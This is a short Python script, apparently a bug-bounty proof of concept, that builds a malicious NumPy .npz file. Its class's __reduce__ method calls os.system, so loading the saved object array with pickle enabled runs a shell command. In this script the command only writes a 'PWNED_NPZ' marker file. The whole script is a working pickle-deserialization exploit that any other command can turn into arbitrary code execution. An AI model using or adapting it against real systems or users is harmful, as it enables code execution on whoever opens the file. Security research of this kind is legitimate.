gen_npz.py

import numpy as np, pickle, io, os

MARKER = r"C:/Users/uozer/AppData/Local/Temp/opencode/NPZ_PWN.txt"
OUT = r"D:\0projects\bountykimi\tmp\evil_npz.npz"

class Evil:
    def __reduce__(self):
        return (os.system, ("echo PWNED_NPZ > " + MARKER,))

# object array holding the malicious instance -> forces pickle serialization inside npz
arr = np.array([Evil()], dtype=object)
np.savez(OUT, data=arr)
print("saved", OUT)